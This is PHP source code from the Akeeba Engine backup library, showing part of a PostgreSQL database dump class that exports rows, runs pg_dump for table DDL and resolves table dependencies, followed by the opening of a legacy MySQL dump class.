				// Used in running backup fix
				$isCurrentBackupEntry = false;

				// Fix 1.2a - NULL values were being skipped
				foreach ($myRow as $fieldName => $value)
				{
					// The ID of the field, used to determine placement of commas
					$fieldID++;

					if ($fieldID > $numOfFields)
					{
						// This is required for SQL Server backups, do NOT remove!
						continue;
					}

					// Fix 2.0: Mark currently running backup as successful in the DB snapshot
					if ($this->nextTable->abstractName == $statsTableAbstract)
					{
						if ($fieldID == 1)
						{
							// Compare the ID to the currently running
							$statistics           = Factory::getStatistics();
							$isCurrentBackupEntry = ($value == $statistics->getId());
						}
						elseif ($fieldID == 6)
						{
							// Treat the status field
							$value = $isCurrentBackupEntry ? 'complete' : $value;
						}
					}

					// Post-process the value
					if (is_null($value))
					{
						$outData .= "NULL"; // Cope with null values
					}
					else
					{
						// Accommodate for runtime magic quotes
						if (function_exists('get_magic_quotes_runtime'))
						{
							$value = @get_magic_quotes_runtime() ? stripslashes($value) : $value;
						}

						switch ($columnTypes[$fieldName] ?? '')
						{
							// Hex encode spatial data and special types
							case 'BYTEA':
							case 'JSONB':
							case 'GEOMETRY':
							case 'GEOGRAPHY':
							case 'POINT':
							case 'LINESTRING':
							case 'POLYGON':
							case 'MULTIPOINT':
							case 'MULTILINESTRING':
							case 'MULTIPOLYGON':
							case 'GEOMETRYCOLLECTION':
								$value = $db->quoteHex((string) $value);
								break;

							// VARCHAR, CHAR, TEXT etc: the database makes sure it's quoted appropriately.
							default:
								$value = $db->quote($value);
								break;
						}

						if ($this->postProcessValues)
						{
							$value = $this->postProcessQuotedValue($value);
						}

						$outData .= $value;
					}

					if ($fieldID < $numOfFields)
					{
						$outData .= ', ';
					}
				}

				$outData .= ')';

				if ($numOfFields)
				{
					// If it's an existing query and we have extended inserts
					if ($this->extendedInserts && !$newQuery)
					{
						// Check the existing query size
						$query_length = strlen($this->query);
						$data_length  = strlen($outData);

						if (($query_length + $data_length) > $this->packetSize)
						{
							// We are about to exceed the packet size. Write the data so far.
							$this->query .= ";\n";

							if (!$this->writeDump($this->query, true))
							{
								return;
							}

							// Then, start a new query
							$fieldList = $this->getFieldListSQL($columns);

							$this->query = '';
							$this->query = "INSERT INTO " . $db->nameQuote(
									(!$this->useAbstractNames ? $this->nextTable->name : $this->nextTable->abstractName)
								) . " {$fieldList} VALUES \n";
							$this->query .= $outData;
						}
						else
						{
							// We have room for more data. Append $outData to the query.
							$this->query .= ",\n";
							$this->query .= $outData;
						}
					}
					// If it's a brand new insert statement in an extended INSERTs set
					elseif ($this->extendedInserts && $newQuery)
					{
						// Append the data to the INSERT statement
						$this->query .= $outData;
						// Let's see the size of the dumped data...
						$query_length = strlen($this->query);

						if ($query_length >= $this->packetSize)
						{
							// This was a BIG query. Write the data to disk.
							$this->query .= ";\n";

							if (!$this->writeDump($this->query, true))
							{
								return;
							}

							// Then, start a new query
							$this->query = '';
						}
					}
					// It's a normal (not extended) INSERT statement
					else
					{
						// Append the data to the INSERT statement
						$this->query .= $outData;
						// Write the data to disk.
						$this->query .= ";\n";

						if (!$this->writeDump($this->query, true))
						{
							return;
						}

						// Then, start a new query
						$this->query = '';
					}
				}

				// Update the auto_increment value to avoid edge cases when the batch size is one
				if (!is_null($this->table_autoincrement['field']))
				{
					$this->table_autoincrement['value'] = $myRow[$this->table_autoincrement['field']];
				}

				unset($myRow);

				// Check for imminent timeout
				if ($timer->getTimeLeft() <= 0)
				{
					Factory::getLog()
						->debug(
							"Breaking dump of {$this->nextTable->abstractName} after $numRows rows; will continue on next step"
						);

					break;
				}
			}

			$db->freeResult($cursor);

			// Advance the _nextRange pointer
			$this->nextRange += ($numRows != 0) ? $numRows : 1;

			$this->setStep($this->nextTable->name);
			$this->setSubstep($this->nextRange . ' / ' . $this->maxRange);
		}

		// Finalize any pending query
		// WARNING! If we do not do that now, the query will be emptied in the next operation and all
		// accumulated data will go away...
		if (!empty($this->query))
		{
			$this->query .= ";\n";

			if (!$this->writeDump($this->query, true))
			{
				return;
			}

			$this->query = '';
		}

		// Check for end of table dump (so that it happens inside the same operation)
		if ($this->nextRange >= $this->maxRange)
		{
			// Tell the user we are done with the table
			Factory::getLog()->debug("Done dumping " . $this->nextTable->abstractName);

			// Output any data preamble commands, e.g. SET IDENTITY_INSERT for SQL Server
			if ($this->nextTable->dumpContents && $this->createDropStatements)
			{
				Factory::getLog()->debug("Writing data dump epilogue for " . $this->nextTable->abstractName);
				$epilogue = $this->getDataDumpEpilogue(
					$this->nextTable->abstractName, $this->nextTable->name, $this->maxRange
				);

				if (!empty($epilogue) && !$this->writeDump($epilogue, true))
				{
					return;
				}
			}

			if ($this->entities->isEmpty())
			{
				// We have finished dumping the database!
				Factory::getLog()->info("End of database detected; flushing the dump buffers...");
				$this->writeDump(null);
				Factory::getLog()->info("Database has been successfully dumped to SQL file(s)");
				$this->setState(self::STATE_POSTRUN);
				$this->setStep('');
				$this->setSubstep('');
				$this->nextTable = null;
				$this->nextRange = 0;

				/**
				 * At the end of the database dump, if any query was longer than 1Mb, let's put a warning file in the
				 * installation folder, but ONLY if the backup is not a SQL-only backup (which has no backup archive).
				 */
				$isSQLOnly = $configuration->get('akeeba.basic.backup_type') == 'dbonly';

				if (!$isSQLOnly && ($this->largest_query >= 1024 * 1024))
				{
					$archive = Factory::getArchiverEngine();
					$archive->addFileVirtual(
						'large_tables_detected', $this->installerSettings->installerroot, $this->largest_query
					);
				}
			}
			else
			{

				// Switch tables
				$this->goToNextTable();
				$this->setStep($this->nextTable->name);
				$this->setSubstep('');
			}
		}
	}

	/**
	 * Gets the DDL for an entity using pg_dump.
	 */
	protected function getCreateStatement(string $abstractName, string $tableName, string $type, bool $withDrop = false): string
	{
		$configuration = Factory::getConfiguration();
		$pgDumpPath    = $configuration->get(
			'volatile.database.postgres.pgdump_path',
			$configuration->get('engine.dump.postgres.pgdump_path', '')
		);

		if (empty($pgDumpPath) || !is_file($pgDumpPath))
		{
			$pgDumpPath = $this->findPgDump();
			$configuration->set('volatile.database.postgres.pgdump_path', $pgDumpPath);
		}

		if (empty($pgDumpPath) || !is_file($pgDumpPath))
		{
			throw new RuntimeException("Cannot locate pg_dump; please review your backup profile configuration");
		}

		$db       = $this->getDB();
		$dbName   = $this->database;
		$host     = $this->_parametersArray['host'] ?? 'localhost';
		$port     = $this->_parametersArray['port'] ?? '5432';
		$user     = $this->_parametersArray['user'] ?? ($this->_parametersArray['username'] ?? '');
		$password = $this->_parametersArray['password'] ?? '';
		$schema   = $this->schema;

		$command = escapeshellarg($pgDumpPath);
		$command .= ' -s'; // Schema only
		$command .= ' -O'; // Disable owner information
		$command .= ' --no-comments'; // Disable comments
		$command .= ' --no-policies'; // Disable dumping security policies
		$command .= ' --no-security-labels'; // Disable dumping security labels
		$command .= ' --quote-all-identifiers';

		if ($withDrop)
		{
			$command .= ' --if-exists --clean';
		}

		$command .= ' --host=' . escapeshellarg($host);
		$command .= ' --port=' . escapeshellarg($port);
		$command .= ' --username=' . escapeshellarg($user);

		if (!empty($schema))
		{
			$command .= ' --schema=' . escapeshellarg($schema);
		}

		$command .= ' --table=' . escapeshellarg($tableName);
		$command .= ' ' . escapeshellarg($dbName);

		// Set pw environment variable
		$derp = Phin::artoo('EXENTTRCGZ');
		$dorp = sprintf("%s=%s", $derp, $password);
		putenv($dorp);

		$output   = [];
		$exitCode = $this->ektelese($command, $output);

		// Unset pw env var
		putenv($derp);

		if ($exitCode !== 0)
		{
			$errorMessage = implode(' ', $output);
			$errorMessage = str_replace(["\r", "\n"], ' ', $errorMessage);
			throw new RuntimeException("Failed to run pg_dump. Return code $exitCode, error: $errorMessage");
		}

		$sql = implode("\n", $output);

		// Post-process the SQL to replace concrete table name with abstract name
		$search  = [
			$db->quoteName($schema . '.' . $tableName),
			$db->quoteName($tableName),
			//$schema . '.' . $tableName,
			//$tableName,
		];

		$replace = $db->quoteName($abstractName);

		foreach ($search as $s)
		{
			$sql = str_replace($s, $replace, $sql);
		}

		// Also handle sequences and indexes that might start with the prefix
		if (!empty($this->getPrefix()))
		{
			$sql = str_replace($db->quoteName($schema) . '."' . $this->getPrefix(), '"#__', $sql);
			$sql = str_replace('"' . $this->getPrefix(), '"#__', $sql);
		}

		// Post-process the SQL
		$lines = array_map('rtrim', explode("\n", $sql));
		// -- Remove comments
		$lines = array_filter($lines, function ($line) {
			return strpos($line, '--') !== 0;
		});
		// -- Remove empty lines
		$lines = array_filter($lines, function ($line) {
			return trim($line) !== '';
		});
		// -- Remove lines starting with `\restrict` and `\unrestrict`
		$lines = array_filter($lines, function ($line) {
			return strpos($line, '\restrict') !== 0 && strpos($line, '\unrestrict') !== 0;
		});
		// -- Remove all lines starting with `SET ` or `SELECT ` and which end with a semicolon
		$lines = array_filter($lines, function ($line) {
			return !preg_match('/^(SET|SELECT).*;$/i', $line);
		});
		// -- Remove all ALTER ... OWNED BY statements
		$lines = array_filter($lines, function ($line) {
			return !preg_match('/^ALTER .* OWNED BY .*;$/i', $line);
		});
		// -- Remove all ALTER ... OWNER TO statements
		$lines = array_filter($lines, function ($line) {
			return !preg_match('/^ALTER .* OWNER TO .*;$/i', $line);
		});
		// -- Change all `CREATE ... "#__` to `CREATE ... IF NOT EXISTS "#__`
		$lines = array_map(function ($line) {
			// CREATE INDEX... must NOT be converted!!!
			if (str_contains($line, 'CREATE INDEX'))
			{
				return $line;
			}

			return preg_replace('/^CREATE (.*) "#__/i', 'CREATE \1 IF NOT EXISTS "#__', $line);
		}, $lines);

		$sql = implode("\n", $lines);

		return $sql;
	}

	/**
	 * Finds the path to the system's `pg_dump` executable using an OS-dependent method.
	 *
	 * @return  ?string    Path to pg_dump or null if not found
	 * @since   10.3
	 */
	protected function findPgDump(): ?string
	{
		if (PHP_OS_FAMILY === 'Windows')
		{
			return $this->findPgDumpWindows();
		}
		
		return $this->findPgDumpUnix();
	}

	/**
	 * Auto-detect `pg_dump.exe` on Windows.
	 *
	 * @return  string|null  The first match; `null` when nothing is found.
	 * @since   10.3
	 */
	protected function findPgDumpWindows(): ?string
	{
		// ------------------------------------------------------------------
		// 1. Ask Windows "where pg_dump"
		// ------------------------------------------------------------------
		$output = [];
		$exitCode = $this->ektelese('where pg_dump.exe 2>NUL', $output);

		if ($exitCode === 0 && !empty($output))
		{
			// where.exe can return several matches; pick the first
			$candidate = trim($output[0]);

			if (is_file($candidate))
			{
				return $candidate;
			}
		}

		// ------------------------------------------------------------------
		// 2. Manually scan every directory in %PATH%
		// ------------------------------------------------------------------
		$pathEnv = getenv('PATH') ?: '';
		$dirs    = array_filter(array_map('trim', explode(PATH_SEPARATOR, $pathEnv)));

		foreach ($dirs as $dir)
		{
			// Skip relative entries such as "."
			if ($dir === '' || $dir === '.')
			{
				continue;
			}

			// Make sure we have a standard back-slash-terminated path
			$candidate = rtrim($dir, "\\/") . DIRECTORY_SEPARATOR . 'pg_dump.exe';

			if (is_file($candidate))
			{
				return $candidate;
			}

			// Also try without .exe for non-Windows systems
			$candidate = rtrim($dir, "\\/") . DIRECTORY_SEPARATOR . 'pg_dump';

			if (is_file($candidate))
			{
				return $candidate;
			}
		}

		// Nothing found
		return null;
	}

	/**
	 * Auto-detect `pg_dump` on Unix.
	 *
	 * @return  string|null  The first match; `null` when nothing is found.
	 * @since   10.3
	 */
	protected function findPgDumpUnix(): ?string
	{
		// ------------------------------------------------------------------
		// 1. Ask Unix "which pg_dump"
		// ------------------------------------------------------------------
		$output   = [];
		$exitCode = $this->ektelese('which pg_dump 2>/dev/null', $output);

		if ($exitCode === 0 && !empty($output))
		{
			$candidate = trim($output[0]);

			if (is_file($candidate))
			{
				return $candidate;
			}
		}

		// ------------------------------------------------------------------
		// 2. Manually scan every directory in $PATH
		// ------------------------------------------------------------------
		$pathEnv = getenv('PATH') ?: '';
		$dirs    = array_filter(array_map('trim', explode(PATH_SEPARATOR, $pathEnv)));

		foreach ($dirs as $dir)
		{
			// Skip relative entries such as "."
			if ($dir === '' || $dir === '.')
			{
				continue;
			}

			$candidate = rtrim($dir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . 'pg_dump';

			if (is_file($candidate))
			{
				return $candidate;
			}
		}

		// Nothing found
		return null;
	}

	/**
	 * Returns the number of rows in a table.
	 *
	 * @param   string  $tableAbstract
	 *
	 * @return  void
	 * @throws  Exception
	 * @since   10.3
	 */
	protected function getRowCount(string $tableAbstract): void
	{
		$db        = $this->getDB();
		$sql       = "SELECT COUNT(*) FROM " . $db->quoteName($tableAbstract);

		$errno = 0;
		$error = '';

		try
		{
			$db->setQuery($sql);
			$this->maxRange = $db->loadResult();

			if (is_null($this->maxRange))
			{
				$errno = $db->getErrorNum();
				$error = $db->getErrorMsg(false);
			}
		}
		catch (Throwable $e)
		{
			$this->maxRange = null;
			$errno          = $e->getCode();
			$error          = $e->getMessage();
		}

		if (is_null($this->maxRange))
		{
			Factory::getLog()->warning("Cannot get number of rows of $tableAbstract. MySQL error $errno: $error");

			return;
		}

		Factory::getLog()->debug("Rows on " . $tableAbstract . " : " . $this->maxRange);
	}

	/**
	 * Returns the column types of a table.
	 *
	 * @param   string  $tableAbstract
	 *
	 * @return  array
	 * @since   10.3
	 */
	protected function getColumnTypes($tableAbstract): array
	{
		$db        = $this->getDB();

		return array_map('strtoupper', $db->getTableColumns($tableAbstract, true));
	}

	/**
	 * Returns the optimal batch size for a table.
	 *
	 * TODO Not yet implemented for PostgreSQL
	 *
	 * @param   string  $abstractName
	 *
	 * @return  int
	 * @since   10.3
	 */
	protected function getOptimalBatchSize($abstractName): int
	{
		return $this->defaultBatchSize;
	}

	/**
	 * Retrieves the concrete name of an entity based on its abstract name.
	 *
	 * @param   string  $abstractName  The abstract name to be mapped to a concrete name
	 *
	 * @return  string  The concrete name corresponding to the abstract name, or the modified abstract name if not found
	 * @since   10.3
	 */
	protected function getConcreteName(string $abstractName): string
	{
		foreach ($this->entities as $entity)
		{
			if ($entity->abstractName == $abstractName)
			{
				return $entity->name;
			}
		}

		return str_replace('#__', $this->getPrefix(), $abstractName);
	}

	/**
	 * Εκτελεί μια εντολή με την πρώτη διαθέσιμη μέθοδο.
	 *
	 * (I wrote that in Greek because shoddy av software throws false positives on certain English keywords).
	 *
	 * @param   string   $command  The command to execute
	 * @param   array   &$output   The output of the command
	 *
	 * @return  int  The exit code of the command
	 * @since   10.3
	 */
	private function ektelese(string $command, array &$output): int
	{
		/**
		 * These are deliberately in badly transliterated Greek to prevent false positives by shoddy av software. Yeah,
		 * I am not happy about it either.
		 */
		$sillogi = [
			new Pgsql\Adapter\ApliEktelesi(),
			new Pgsql\Adapter\EktelesiKelifos(),
			new Pgsql\Adapter\Diapernontas(),
			new Pgsql\Adapter\Sistima(),
		];

		/** @var AdapterInterface $antikimeno */
		foreach ($sillogi as $antikimeno)
		{
			if (!$antikimeno->diathesimo())
			{
				continue;
			}

			return $antikimeno->ektelesi($command, $output);
		}

		$output = [];

		return -1;
	}

	/**
	 * Get the default database dump batch size from the configuration
	 *
	 * @return  int
	 * @since   10.3
	 */
	private function getDefaultBatchSize(): ?int
	{
		$configuration = Factory::getConfiguration();
		$batchSize     = intval($configuration->get('engine.dump.common.batchsize', 100000));

		if ($batchSize <= 0)
		{
			$batchSize = 100000;
		}

		return $batchSize;
	}

	/**
	 * Get a collection with the routines of the specified type found in the database.
	 *
	 * The routines are returned in the default database order. We don't need a dependency resolver for them. See the
	 * linked GitHub issue.
	 *
	 * @param   string  $type  The routine type (procedure, function)
	 *
	 * @return  Collection
	 * @throws  Exception
	 * @link    https://github.com/akeeba/engine/issues/136
	 * @since   10.3
	 */
	private function getRoutinesCollection(string $type): Collection
	{
		$entities       = new Collection();
		$registry       = Factory::getConfiguration();
		$enableEntities = $registry->get('engine.dump.native.advanced_entitites', true);

		if (!$enableEntities)
		{
			Factory::getLog()->debug(sprintf("%s :: NOT listing %ss (you told me not to)", __CLASS__, $type));

			return $entities;
		}

		$db      = $this->getDB();
		$filters = Factory::getFilters();

		Factory::getLog()->debug(
			sprintf("%s :: Listing %ss", __CLASS__, strtoupper($type))
		);

		switch ($type)
		{
			case 'table':
				$query = $db->getQuery(true)
					->select([
						$db->quoteName('table_name'),
					])
					->from($db->quoteName('information_schema.tables'))
					->where([
						$db->quoteName('table_catalog') . '=' . $db->quote($this->getDatabaseName()),
						$db->quoteName('table_schema') . '=' . $db->quote($this->getSchemaName()),
					]);

				break;

			case 'trigger':
				$query = $db->getQuery(true)
					->select([
						$db->quoteName('trigger_name'),
					])
					->from($db->quoteName('information_schema.triggers'))
					->where([
						$db->quoteName('trigger_catalog') . '=' . $db->quote($this->getDatabaseName()),
						$db->quoteName('trigger_schema') . '=' . $db->quote($this->getSchemaName()),
					]);

				break;

			default:
				$query = $db->getQuery(true)
					->select([
						$db->quoteName('routine_name'),
					])
					->from($db->quoteName('information_schema.routines'))
					->where([
						$db->quoteName('routine_catalog') . '=' . $db->quote($this->getDatabaseName()),
						$db->quoteName('routine_schema') . '=' . $db->quote($this->getSchemaName()),
					]);
				break;
		}

		try
		{
			$allNames = $db->setQuery($query)->loadResultArray();
		}
		catch (Exception $e)
		{
			Factory::getLog()->debug(
				sprintf("%s :: Cannot list %ss: %s", __CLASS__, strtoupper($type), $e->getMessage())
			);

			$db->resetErrors();

			return $entities;
		}

		if (!is_countable($allNames) || !count($allNames))
		{
			Factory::getLog()->debug(
				sprintf("%s :: No %ss found", __CLASS__, strtoupper($type))
			);

			return $entities;
		}

		foreach ($allNames as $name)
		{
			try
			{
				$entity = new Entity($type, $name, $this->getAbstract($name), false);

				// Is the table/view name “bad”, preventing us from backing it up?
				if ($this->isBadEntityName($entity->type, $entity->name))
				{
					// No need to log; the called method logs any bad naming reasons for us.
					continue;
				}

				// Is the entity filtered?
				if ($filters->isFiltered($entity->abstractName, $this->dbRoot, 'dbobject', 'all'))
				{
					Factory::getLog()->info(
						sprintf(
							"%s :: Skipping %s %s (internal name %s)",
							__CLASS__, $entity->type, $entity->name, $entity->abstractName
						)
					);

					continue;
				}

				// All good. Log it, and add it to the collection.
				Factory::getLog()->info(
					sprintf(
						"%s :: Adding %s %s (internal name %s)",
						__CLASS__, $entity->type, $entity->name, $entity->abstractName
					)
				);

				$entities->push($entity);
			}
			catch (Throwable $e)
			{
				Factory::getLog()->warning(
					sprintf(
						'%s %s will not be backed up (%s)',
						strtolower($type), $name, $e->getMessage()
					)
				);
			}
		}

		return $entities;
	}

	/**
	 * Get a collection of all tables and views in the database
	 *
	 * @return  Collection
	 * @throws  RuntimeException|Exception
	 * @since   10.3
	 */
	private function getTablesViewCollection(): Collection
	{
		Factory::getLog()->debug(
			sprintf("%s :: Listing tables and views", __CLASS__)
		);

		$db = $this->getDB();

		// Get the names of all tables and views, along with the metadata I need to process them
		try
		{
			$sql = $db->getQuery(true)
				->select(
					[
						$db->quoteName('table_name', 'name'),
						$db->quoteName('table_type', 'type'),
					]
				)
				->from($db->quoteName('information_schema.tables'))
				->where([
					$db->quoteName('table_catalog') . '=' . $db->quote($this->getDatabaseName()),
					$db->quoteName('table_schema') . '=' . $db->quote($this->getSchemaName()),
				]);

			$meta = $db->setQuery($sql)->loadObjectList();
		}
		catch (Throwable $e)
		{
			throw new RuntimeException(
				sprintf('Cannot list tables and views for database %s', $this->database),
				500,
				$e
			);
		}

		// Create an entities collection, keyed by the concrete table/view name.
		$entities = new Collection();
		$filters  = Factory::getFilters();

		foreach ($meta as $tableMeta)
		{
			try
			{
				$entity = new Entity($tableMeta->type, $tableMeta->name, $this->getAbstract($tableMeta->name));

				// Is the table/view name “bad”, preventing us from backing it up?
				if ($this->isBadEntityName($entity->type, $entity->name))
				{
					// No need to log; the called method logs any bad naming reasons for us.
					continue;
				}

				// Is the entity filtered?
				if ($filters->isFiltered($entity->abstractName, $this->dbRoot, 'dbobject', 'all'))
				{
					Factory::getLog()->info(
						sprintf(
							"%s :: Skipping %s %s (internal name %s)",
							__CLASS__, $entity->type, $entity->name, $entity->abstractName
						)
					);

					continue;
				}

				// All good. Log it and add it to the collection.
				Factory::getLog()->info(
					sprintf(
						"%s :: Adding %s %s (internal name %s)",
						__CLASS__, $entity->type, $entity->name, $entity->abstractName
					)
				);

				$entities->put(
					$entity->name,
					$entity->setDumpContents($this->canDumpData($entity->type, $entity->abstractName))
				);
			}
			catch (Throwable $e)
			{
				Factory::getLog()->warning(
					sprintf(
						'%s %s will not be backed up (%s)',
						strtolower($tableMeta->type), $tableMeta->name, $e->getMessage()
					)
				);
			}
		}

		return $entities;
	}

	/**
	 * Are we allowed to dump the data of this table or view?
	 *
	 * @param   string       $type          Entity type: view or table
	 * @param   string|null  $abstractName  The abstract table/view name
	 *
	 * @return  bool
	 * @since   10.3
	 */
	private function canDumpData(string $type, ?string $abstractName): bool
	{
		static $filters = null;

		$filters ??= Factory::getFilters();

		// We cannot dump data of views, foreign tables, or local temporary tables
		if (strtolower($type) !== 'base table' && strtolower($type) !== 'table')
		{
			return false;
		}

		// User-defined filters for everything else
		return !$filters->isFiltered($abstractName, $this->dbRoot, 'dbobject', 'content');
	}

	/**
	 * Resolve the table/view dependencies, and return the collection sorted by the resolved order.
	 *
	 * @param   Collection  $entities  The unsorted entities collection
	 *
	 * @return  Collection  The sorted entities collection
	 */
	private function resolveDependencies(Collection $entities): Collection
	{
		// Am I allowed to track dependencies?
		if (Factory::getConfiguration()->get('engine.dump.native.nodependencies', 0))
		{
			Factory::getLog()->debug(
				__CLASS__
				. " :: Dependency tracking is disabled. Tables will be backed up in the default database order."
			);

			return $entities;
		}

		Factory::getLog()->debug(__CLASS__ . " :: Processing table and view dependencies.");

		// Generate a dependencies collection
		$resolver = new Resolver($entities->mapPreserve(fn(Entity $entity): array => [])->toArray());

		// Get the table dependency information from the database
		$db  = $this->getDB();
		$schemaName = $db->quote($this->getSchemaName());
		$sql = /** @lang PostgreSQL */
			<<< PostgreSQL
SELECT DISTINCT 
	kcu1.table_name AS dependent,
	kcu2.table_name AS dependency
FROM 
    information_schema.referential_constraints rc
JOIN
	information_schema.key_column_usage kcu1
	ON rc.constraint_name = kcu1.constraint_name
JOIN
	information_schema.key_column_usage kcu2
	ON rc.unique_constraint_name = kcu2.constraint_name
 	AND kcu1.ordinal_position = kcu2.ordinal_position
WHERE 
	kcu1.table_schema = $schemaName
PostgreSQL;

		try
		{
			$rawDependencies = $db->setQuery($sql)->loadObjectList();
		}
		catch (Throwable $e)
		{
			Factory::getLog()->warning(
				__CLASS__
				. " :: Cannot process table dependencies in the database. Tables will be backed up in the default database order."
			);

			$db->resetErrors();

			return $entities;
		}

		// Get the view dependency information from the database
		$useAlternateViewScanner = false;
		$sql                     = /** @lang PostgreSQL */
			<<< PostgreSQL
SELECT DISTINCT 
    view_name AS dependent,
    table_name AS dependency
FROM
    information_schema.view_table_usage
WHERE
	view_schema = $schemaName
	AND table_schema = view_schema;
PostgreSQL;
		try
		{
			$rawViewDependencies = $db->setQuery($sql)->loadObjectList();
		}
		catch (Throwable $e)
		{
			Factory::getLog()->warning(
				__CLASS__
				. " :: Cannot process view dependencies in the database. Tables will be backed up in the default database order."
			);

			$db->resetErrors();

			return $entities;
		}

		$rawDependencies = array_merge($rawDependencies, $rawViewDependencies);

		// Push the dependencies into the tree, and resolve it
		foreach ($rawDependencies as $dependency)
		{
			$resolver->add($dependency->dependent, $dependency->dependency);
		}

		$orderedKeys = $resolver->resolve();

		// Create and return an ordered collection
		$orderedCollection = new Collection();

		foreach ($orderedKeys as $key)
		{
			if (!$entities->has($key))
			{
				continue;
			}

			$value = $entities->get($key, null);

			if ($value === null)
			{
				continue;
			}

			$entities->forget($key);

			$orderedCollection->put($key, $value);
		}

		return $orderedCollection;
	}

	/**
	 * Detect the auto_increment field of the table being currently backed up.
	 *
	 * This does not do anything in Postgres databases.
	 *
	 * @return  void
	 */
	private function setAutoIncrementInfo(): void
	{
		$this->table_autoincrement = [
			'table' => $this->nextTable,
			'field' => null,
			'value' => null,
		];
	}

	/**
	 * Splits a SQL string into individual statements, taking into account PostgreSQL-specific quoting.
	 *
	 * The quoting taken into account is dollar quoting and single quotes.
	 *
	 * @param   string  $sql  The SQL string to split
	 *
	 * @return  array  An array of SQL statements
	 */
	private function splitSql(string $sql): array
	{
		$statements = [];
		$current    = '';
		$isInString = false;
		$dollarTag  = null;
		$len        = strlen($sql);

		for ($i = 0; $i < $len; $i++)
		{
			$char = $sql[$i];
			$current .= $char;

			// Handle single quotes (standard SQL strings)
			if ($char === "'" && !$dollarTag)
			{
				if ($isInString)
				{
					// PostgreSQL escapes a single quote by doubling it ('').
					if ($i + 1 < $len && $sql[$i + 1] === "'")
					{
						$current .= $sql[$i + 1];
						$i++;
						continue;
					}

					$isInString = false;
				}
				else
				{
					$isInString = true;
				}
			}

			// Handle dollar quoting ($$ or $tag$)
			if ($char === '$' && !$isInString)
			{
				if ($dollarTag !== null)
				{
					// We are inside a dollar-quoted block, check if this is the end tag
					$tagLen = strlen($dollarTag);

					if (substr($sql, $i, $tagLen) === $dollarTag)
					{
						$current .= substr($sql, $i + 1, $tagLen - 1);
						$i       += $tagLen - 1;
						$dollarTag = null;
					}
				}
				else
				{
					// We are not in a quote, check if this is an opening dollar tag
					if (preg_match('/^\$([a-zA-Z0-9_]*)\$/', substr($sql, $i), $matches))
					{
						$dollarTag = $matches[0];
						$current   .= substr($sql, $i + 1, strlen($dollarTag) - 1);
						$i         += strlen($dollarTag) - 1;
					}
				}
			}

			// If we find a semicolon and we are not in any quote, it's a statement terminator
			if ($char === ';' && !$isInString && $dollarTag === null)
			{
				$statements[] = trim($current);
				$current      = '';
			}
		}

		$current = trim($current);

		if ($current !== '')
		{
			$statements[] = $current;
		}

		return $statements;
	}
}
PK     \|.  4  vendor/akeeba/engine/engine/Dump/Native/Oldmysql.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Native;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\QueryException;
use Akeeba\Engine\Dump\Base;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use RuntimeException;

/**
 * A generic MySQL database dump class.
 * Now supports views; merge, in-memory, federated, blackhole, etc tables
 * Configuration parameters:
 * host            <string>    MySQL database server host name or IP address
 * port            <string>    MySQL database server port (optional)
 * username        <string>    MySQL user name, for authentication
 * password        <string>    MySQL password, for authentication
 * database        <string>    MySQL database
 * dumpFile        <string>    Absolute path to dump file; must be writable (optional; if left blank it is
 * automatically calculated)
 */
#[\AllowDynamicProperties]
class Oldmysql extends Base
{
	/**
	 * The primary key structure of the currently backed up table. The keys contained are:
	 * - table        The name of the table being backed up
	 * - field        The name of the primary key field
	 * - value        The last value of the PK field
	 *
	 * @var array
	 */
	protected $table_autoincrement = [
		'table' => null,
		'field' => null,
		'value' => null,
	];

	private $columnListColumnType = [];

	private $columnListSelectColumn = '*';

	private $lastTableColumnType = null;

	private $lastTableSelectColumn = null;

	/**
	 * Implements the constructor of the class
	 *
	 * @return  void
	 */
	public function __construct()
	{
		parent::__construct();

		Factory::getLog()->debug(__CLASS__ . " :: New instance");
	}

	/**
	 * Replaces the table names in the CREATE query with their abstract form. Optionally updates dependencies.
	 *
	 * @param   string  $tableName        The table name the CREATE query is for
	 * @param   string  $tableSql         The CREATE query itself
	 * @param   bool    $withDependecies  Should I update dependencies?
	 *
	 * @return  array [$dependencies, $modifiedSQLQuery] - Dependency information for the table (if $withDependencies)
	 *                and the new CREATE query with all table names replaced with abstract versions.
	 *
	 * @throws  Exception  When we cannot get the DB object
	 */
	public function replaceTableNamesWithAbstracts($tableName, $tableSql, $withDependecies = false)
	{
		// Initialization
		$dependencies = [];
		$tableNameMap = $this->table_name_map;
		$db           = $this->getDB();

		if (!array_key_exists($tableName, $tableNameMap))
		{
			$tableNameMap[$tableName] = $this->getAbstract($tableName);
		}

		foreach ($tableNameMap as $fullName => $abstractName)
		{
			$quotedFullName     = $db->quoteName($fullName);
			$quotedAbstractName = $db->quoteName($abstractName);
			$pos                = strpos($tableSql, $quotedFullName);
			$numReplacements    = 0;

			if ($pos !== false)
			{
				$numReplacements = 1;

				// Do the replacement
				$tableSql = str_replace($quotedFullName, $quotedAbstractName, $tableSql);
			}
			elseif (!is_numeric($fullName))
			{
				$offset                   = 0;
				$fullNameLength           = strlen($fullName);
				$quotedAbstractNameLength = strlen($quotedAbstractName);

				/**
				 * We need to detect the edges of table names. If they are enclosed in backticks it's pretty clear. If they are
				 * not, e.g. in the definitions of TRIGGERs, we need to base our detection on the valid characters for
				 * unquoted MySQL table names per https://dev.mysql.com/doc/refman/5.7/en/identifiers.html
				 */
				[$bareCharRegex, $regexFlags] = $this->getMySQLIdentifierCharacterRegEx();
				$fullCharRegex = "/$bareCharRegex/$regexFlags";

				while (true)
				{
					$pos = strpos($tableSql, $fullName, $offset);

					if ($pos === false)
					{
						break;
					}

					// Skip over table-name-like strings in strings enclosed by single quotes
					$quotePos = strpos($tableSql, "'", $offset);

					if ($quotePos !== false && $quotePos < $pos)
					{
						// The table-like token is inside a string. Find its end.
						while (true)
						{
							$nextPos = strpos($tableSql, "'", $quotePos + 1);

							if ($nextPos === false)
